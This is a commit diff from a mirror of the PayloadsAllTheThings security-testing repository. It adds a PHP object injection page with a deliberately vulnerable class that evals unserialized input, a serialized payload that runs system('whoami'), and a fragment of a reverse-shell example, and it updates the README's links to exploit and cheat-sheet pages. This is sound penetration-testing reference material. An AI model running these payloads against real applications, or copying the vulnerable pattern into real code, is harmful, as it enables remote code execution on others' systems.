mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
PHP Object serialization + README update
This commit is contained in:
parent
cdc3adee51
commit
4b093d12fb
@ -1,8 +1,43 @@
|
|||||||
# PHP Object Injection
|
# PHP Object Injection
|
||||||
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
||||||
|
|
||||||
## Exploit
|
## Exploit with the __wakeup in the unserialize function
|
||||||
|
Vulnerable code:
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
class PHPObjectInjection{
|
||||||
|
public $inject;
|
||||||
|
function __construct(){
|
||||||
|
}
|
||||||
|
function __wakeup(){
|
||||||
|
if(isset($this->inject)){
|
||||||
|
eval($this->inject);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(isset($_REQUEST['r'])){
|
||||||
|
$var1=unserialize($_REQUEST['r']);
|
||||||
|
if(is_array($var1)){
|
||||||
|
echo "<br/>".$var1[0]." - ".$var1[1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
echo ""; # nothing happens here
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
Payload:
|
||||||
|
```php
|
||||||
|
# Basic serialized data
|
||||||
|
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
|
||||||
|
|
||||||
|
# Command execution
|
||||||
|
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## Others exploits
|
||||||
Reverse Shell
|
Reverse Shell
|
||||||
```php
|
```php
|
||||||
class PHPObjectInjection
|
class PHPObjectInjection
|
||||||
@ -28,4 +63,5 @@ echo urlencode(serialize(new PHPObjectInjection));
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Thanks to
|
## Thanks to
|
||||||
* https://www.owasp.org/index.php/PHP_Object_Injection
|
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
||||||
|
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
26
README.md
26
README.md
@ -1,7 +1,8 @@
|
|||||||
# Payloads All The Things
|
# Payloads All The Things
|
||||||
A list of useful payloads and bypasses for Web Application Security.
|
A list of useful payloads and bypasses for Web Application Security.
|
||||||
Feel free to improve with your payloads and techniques !
|
Feel free to improve with your payloads and techniques !
|
||||||
I <3 pull requests :) You can also contribute with a beer IRL or [![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoff.ee/swissky)
|
I <3 pull requests :)
|
||||||
|
You can also contribute with a beer IRL or [![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoff.ee/swissky)
|
||||||
|
|
||||||
Every section contains:
|
Every section contains:
|
||||||
- README.md - vulnerability description and how to exploit it
|
- README.md - vulnerability description and how to exploit it
|
||||||
@ -9,11 +10,24 @@ Every section contains:
|
|||||||
- Some exploits
|
- Some exploits
|
||||||
|
|
||||||
You might also like :
|
You might also like :
|
||||||
- [Methodology and Resources](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/)
|
* [Methodology and Resources](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/)
|
||||||
- [CVE Exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits)
|
* [Active Directory Attack.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md)
|
||||||
- Shellshock
|
* [Methodology_and_enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology_and_enumeration.md)
|
||||||
- HeartBleed
|
* [Network Pivoting Techniques.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md)
|
||||||
- Apache Struts 2
|
* [Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||||
|
* [Windows - Download and Execute.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md)
|
||||||
|
* [Windows - Mimikatz.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md)
|
||||||
|
* [Windows - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md)
|
||||||
|
* [Windows - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||||||
|
* [Windows - Using credentials.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md)
|
||||||
|
* [CVE Exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits)
|
||||||
|
* Apache Struts 2 CVE-2017-5638.py
|
||||||
|
* Apache Struts 2 CVE-2017-9805.py
|
||||||
|
* Drupalgeddon2 CVE-2018-7600.rb
|
||||||
|
* Heartbleed CVE-2014-0160.py
|
||||||
|
* Shellshock CVE-2014-6271.py
|
||||||
|
* Tomcat CVE-2017-12617.py
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
* [Kali Linux](https://www.kali.org/)
|
* [Kali Linux](https://www.kali.org/)
|
||||||
|
Loading…
Reference in New Issue
Block a user